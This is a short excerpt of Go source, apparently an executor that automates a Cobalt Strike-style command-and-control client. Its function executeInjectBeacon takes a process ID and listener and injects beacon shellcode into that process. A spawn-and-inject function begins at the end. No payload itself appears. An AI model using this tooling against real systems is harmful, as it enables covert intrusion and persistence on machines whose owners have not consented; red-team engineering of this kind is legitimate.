executeInjectBeacon injects beacon shellcode into a process
(ctx context.Context, client *csclient.Client, beaconID string, action Action)
| 197 | |
| 198 | // executeInjectBeacon injects beacon shellcode into a process |
| 199 | func (e *Executor) executeInjectBeacon(ctx context.Context, client *csclient.Client, beaconID string, action Action) (string, error) { |
| 200 | pidVal, ok := action.Parameters["pid"] |
| 201 | if !ok { |
| 202 | return "", fmt.Errorf("pid parameter required for inject_beacon") |
| 203 | } |
| 204 | var pid int |
| 205 | switch v := pidVal.(type) { |
| 206 | case float64: |
| 207 | pid = int(v) |
| 208 | case int: |
| 209 | pid = v |
| 210 | default: |
| 211 | return "", fmt.Errorf("pid must be a number") |
| 212 | } |
| 213 | |
| 214 | listener, ok := action.Parameters["listener"].(string) |
| 215 | if !ok { |
| 216 | return "", fmt.Errorf("listener parameter required for inject_beacon") |
| 217 | } |
| 218 | arch, _ := action.Parameters["arch"].(string) // optional (x86 or x64) |
| 219 | |
| 220 | resp, err := client.InjectBeacon(ctx, beaconID, pid, arch, listener) |
| 221 | if err != nil { |
| 222 | return "", err |
| 223 | } |
| 224 | return e.waitForOutput(ctx, client, resp.TaskID) |
| 225 | } |
| 226 | |
| 227 | // executeSpawnShellcode spawns a process and injects shellcode |
| 228 | func (e *Executor) executeSpawnShellcode(ctx context.Context, client *csclient.Client, beaconID string, action Action) (string, error) { |
no test coverage detected